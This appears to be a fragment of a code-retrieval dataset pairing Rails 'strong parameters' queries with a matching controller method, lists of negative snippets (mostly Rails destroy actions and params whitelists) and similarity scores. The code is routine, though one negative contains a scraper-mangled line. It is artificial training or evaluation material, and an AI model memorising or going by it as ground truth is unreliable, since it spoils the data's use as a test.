"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_answers_url(@question)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @icebreaker_answer.destroy\n respond_to do |format|\n format.html { redirect_to icebreaker_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @check_answer.destroy\n respond_to do |format|\n format.html { redirect_to check_answers_url, notice: 'Check answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_answer = EntryAnswer.find(params[:id])\n @entry_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Admin::Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n answer = Answer.find params[:id]\n \n if can? :delete, answer\n answer.destroy\n render json: { status: 200 }, status: 200\n else\n render json: { status: 403 }, status: 403\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_question = TestQuestion.find(params[:id])\n @test_question.destroy\n\n respond_to do |format|\n format.html { redirect_to test_questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @survey_answer = SurveyAnswer.find(params[:id])\n @survey_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(survey_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @picture_test_answer.destroy\n respond_to do |format|\n format.html { redirect_to picture_test_answers_url, notice: 'Picture test answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer_respondent.destroy\n respond_to do |format|\n format.html { redirect_to answer_respondents_url, notice: 'Answer respondent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:question_id])\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asked_to_answer.destroy\n respond_to do |format|\n format.html { redirect_to asked_to_answers_url, notice: 'Asked to answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @m_answer.destroy\n respond_to do |format|\n format.html { redirect_to m_question_path(@m_question) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ask_answer = AskAnswer.find(params[:id])\n @ask_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(ask_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @survey_user_answer.destroy\n respond_to do |format|\n format.html { redirect_to survey_user_answers_url, notice: 'Survey user answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ask.destroy\n respond_to do |format|\n format.html { redirect_to asks_path }\n format.json { head :no_ask }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to models_url, notice: 'Model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @differentiator_answer = DifferentiatorAnswer.find(params[:id])\n @differentiator_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(differentiator_answers_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n question = QuestionTest.where(test_id: params[:test_id], question_id: params[:id])\n if question.delete_all\n return render json: {message: 'Question was removed succesfully.', error: false}\n else\n return render json: {message: 'Error: Something went wrong. Question was not removed.', error: true}\n end\n end",
"def destroy\n @question_answer.destroy\n respond_to do |format|\n format.html { redirect_to question_answers_url, notice: 'Question answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @possible_answer.destroy\n respond_to do |format|\n format.html { redirect_to possible_answers_url, notice: 'Possible answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @textanswer = Textanswer.find(params[:id])\n @textanswer.destroy\n\n respond_to do |format|\n format.html { redirect_to textanswers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attempt_question.destroy\n respond_to do |format|\n format.html { redirect_to attempt_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submitted_answer.destroy\n respond_to do |format|\n format.html { redirect_to submitted_answers_url, notice: 'Submitted answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_answer.destroy\n respond_to do |format|\n format.html { redirect_to tipo_answers_url, notice: 'Tipo answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer_record.destroy\n respond_to do |format|\n format.html { redirect_to answer_records_url, notice: 'Answer record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expectation = Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to expectations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '回答を削除しました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey.destroy\n respond_to do |format|\n format.html { redirect_to surveys_url, notice: \"Le questionnaire vient d'être détruit.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @online_answer = OnlineAnswer.find(params[:id])\n @online_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to online_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_url(params[:survey_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @simulation_answer.destroy\n respond_to do |format|\n format.html { redirect_to simulation_answers_url, notice: 'Simulation answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @random_exam.destroy\n respond_to do |format|\n format.html { redirect_to random_exams_url, notice: 'Random exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:question_id])\n @answer = @question.answers.find(params[:id])\n authorize! :destroy, @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end",
"def destroy\n @selected_answer.destroy\n respond_to do |format|\n format.html { redirect_to selected_answers_url, notice: 'Selected answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @question.destroy\n \n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'DNS was successfully removed.' }\n format.json { head :no_content }\n \nend\n end",
"def destroy\n\n @[email protected]\n @question.update(cant_answers: @question.cant_answers - 1)\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @question, notice: 'La respuesta fue borrada con exito' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @studanswer.destroy\n respond_to do |format|\n format.html { redirect_to studanswers_url, notice: 'Studanswer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_answer = StudentAnswer.find(params[:id])\n @student_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to student_answers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dei_field_answer.destroy\n respond_to do |format|\n format.html { redirect_to dei_field_answers_url, notice: \"Dei field answer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @b_answer.destroy\n @b_question = BQuestion.find(params[:b_question_id])\n respond_to do |format|\n format.html { redirect_to b_question_path(@b_question) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_response = QuestionResponse.find(params[:id])\n @question_response.destroy\n\n respond_to do |format|\n format.html { redirect_to question_responses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_attempt_response = QuestionAttemptResponse.find(params[:id])\n @question_attempt_response.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @b_question.destroy\n respond_to do |format|\n format.html { redirect_to questions_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:question_id])\n\n if !@question\n redirect_to :controller => :questions, :action => \"show\", :id => params[:question_id]\n end\n\n @answer = @question.answers.find(params[:id])\n\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @survey_response = SurveyResponse.find(params[:id])\r\n @survey_response.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to survey_responses_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question_learned.destroy\n respond_to do |format|\n format.html { redirect_to question_question_learneds_path(@question) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quizzes_answer.destroy\n respond_to do |format|\n format.html { redirect_to quizzes_answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.75515115",
"0.74374837",
"0.74374837",
"0.74100095",
"0.7392629",
"0.73762643",
"0.73700905",
"0.73700905",
"0.7281447",
"0.7258693",
"0.72482276",
"0.7225049",
"0.7220558",
"0.71750474",
"0.7172923",
"0.7167194",
"0.7167163",
"0.7167163",
"0.7167163",
"0.7167163",
"0.7167163",
"0.7162893",
"0.71309096",
"0.71254617",
"0.7085483",
"0.7078459",
"0.7072104",
"0.70705205",
"0.70629036",
"0.70629036",
"0.70629036",
"0.70629036",
"0.7056624",
"0.7056231",
"0.70510733",
"0.70468134",
"0.70308006",
"0.7026881",
"0.70253074",
"0.701625",
"0.70076734",
"0.700636",
"0.7001086",
"0.6990767",
"0.69617826",
"0.6960051",
"0.6952916",
"0.6950396",
"0.6950396",
"0.6934898",
"0.69315386",
"0.6928498",
"0.6928225",
"0.6925011",
"0.69161755",
"0.69091994",
"0.690745",
"0.68924093",
"0.6892405",
"0.6882983",
"0.68705374",
"0.68628025",
"0.68575627",
"0.6856774",
"0.68496823",
"0.6845935",
"0.6844005",
"0.68305975",
"0.68289816",
"0.68232614",
"0.68152815",
"0.68152326",
"0.6814048",
"0.68131965",
"0.68115383",
"0.68098485",
"0.6808009",
"0.68002003",
"0.68002003",
"0.6795719",
"0.6786282",
"0.6786212",
"0.6784352",
"0.6784352",
"0.6781441",
"0.6779053",
"0.6774064",
"0.6774064",
"0.6774064",
"0.6774064",
"0.6774064",
"0.6774064",
"0.67736757",
"0.67736536",
"0.6766529",
"0.6766529",
"0.6765352",
"0.67623806",
"0.67528176",
"0.67528176"
] | 0.76496696 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_fake_answer
@fake_answer = FakeAnswer.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def after_set_callback; end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def default_action; end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def call\n setup_context\n super\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end"
] | [
"0.6165094",
"0.60450804",
"0.5944413",
"0.5915806",
"0.58885634",
"0.5835225",
"0.5775847",
"0.5700531",
"0.5700531",
"0.56543404",
"0.56209993",
"0.54238355",
"0.5410386",
"0.5410386",
"0.5410386",
"0.5394892",
"0.5377769",
"0.53559244",
"0.5339896",
"0.53388095",
"0.5330087",
"0.5311993",
"0.5297402",
"0.5296789",
"0.52957207",
"0.52596015",
"0.5245442",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5235431",
"0.5231888",
"0.5226663",
"0.52220625",
"0.5217086",
"0.52137345",
"0.5208314",
"0.5205469",
"0.5175606",
"0.5174914",
"0.5173361",
"0.51662856",
"0.5161792",
"0.51572216",
"0.5153063",
"0.5152982",
"0.5152632",
"0.51435786",
"0.5139829",
"0.51346594",
"0.511372",
"0.511372",
"0.51136476",
"0.51083213",
"0.5108011",
"0.5091935",
"0.5089297",
"0.5081576",
"0.50807106",
"0.50656676",
"0.50548106",
"0.50537366",
"0.505074",
"0.505074",
"0.5033361",
"0.5025158",
"0.5020441",
"0.5015611",
"0.50142473",
"0.5000281",
"0.50001067",
"0.49989453",
"0.4989465",
"0.4989465",
"0.4985425",
"0.49805096",
"0.49795893",
"0.49783278",
"0.49676263",
"0.49656346",
"0.49579078",
"0.4955427",
"0.49554235",
"0.49536413",
"0.49523768",
"0.49457142",
"0.49433607",
"0.4933641",
"0.49320185",
"0.49265638",
"0.49262375",
"0.49259067",
"0.4922456",
"0.49201223",
"0.49165115",
"0.49158815",
"0.49151883",
"0.49149552",
"0.4914386"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def fake_answer_params
params.require(:fake_answer).permit(:answer, :question_id, :quiz_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
